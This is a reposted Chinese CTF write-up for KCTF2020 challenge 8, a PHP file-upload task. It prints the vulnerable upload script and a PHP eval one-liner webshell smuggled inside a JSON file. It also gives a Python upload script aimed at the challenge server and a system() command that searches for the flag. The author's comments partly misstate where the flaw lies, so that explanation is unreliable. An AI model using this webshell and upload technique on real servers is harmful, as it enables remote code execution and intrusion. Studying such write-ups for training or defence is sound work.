KCTF2020 第八题 牛刀小试
2020-05-01 22:19:19 Author: bbs.pediy.com(查看原文) 阅读量:385 收藏

[原创] KCTF2020 第八题 牛刀小试

1天前 53

下载压缩文件后获得服务器地址

http://47.102.223.17:2333/

访问后得到php源码
进行代码审计发现两个可能存在的漏洞

<?php
    if (isset($_FILES["file"]["tmp_name"])) {
    $file = fopen($_FILES["file"]["tmp_name"], "r");
    $data = fread($file, filesize($_FILES["file"]["tmp_name"]));

    //这里存在json解析执行任意远程代码漏洞
    $arr = json_decode($data, true, 2);

    //判断文件内容是否为json
    if (json_last_error() != JSON_ERROR_NONE) {
        die("JsonErr");
    }

    //判断json是否只有一个节点
    if (count($arr) != 1) {
        die("DataErr");
    }

    //取出data节点的数据
    $data = $arr['data'];

    //判断文本长度是否小于56
    $len = strlen($data);
    if ($len > 56) {
        die("Long");
    }

    //只要json节点name不是data,这个正则就直绕过了
    if (preg_match("/[\[\]`'^=\/\\$.;]+/", $data)) {
        die("no");
    }

    //生成一个随机的文件名
    $name = mt_rand();
    $ext = strrchr($_FILES['file']['name'], '.');
    $ext = trim($ext);

    //把上传的文件拷贝到upload目录,这里存在绕过文件名限制漏洞,但和本题无关
    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $name . $ext);

    //打印新文件路径
    echo "upload/" . $name . $ext;

} else {

    //高亮显示当前文件代码
    highlight_file(__FILE__);
}
?>

写webshell,只要name不为data,value里面放一句话木马即可

{"ok":"<?php @eval($_POST['cmd']); ?>"}

然后写了个python脚本上传文件(Postman代理没配好,浪费时间了)

import requests

url = 'http://47.102.223.17:2333/'

def upload_file():

    files = [
        ('file', open('getshell.php', 'rb'))
    ]

    response = requests.request("POST", url, files=files)

    print(response.text)

if __name__ == '__main__':
    upload_file()

上传成功后发现一句话木马不见了,那就是成功被执行了
图片描述

用蚁剑连接
图片描述

然后在根目录下找到了flag
图片描述
PS:一定要认真读题啊,我还一直以为flag在apache的目录下,一直没找到flag...

然后写了个找flag的脚本。。。 IQ-100

<?php system("find / -name  *flag*") ?>
<h1>xtgo writeup</h1>

全篇完。

[培训]科锐逆向工程师培训班38期--远程教学预课班将于 2020年5月28日 正式开班!

最后于 1天前 被xjklewh编辑 ,原因: 调整代码格式


文章来源: https://bbs.pediy.com/thread-259239.htm
如有侵权请联系:admin#unsafe.sh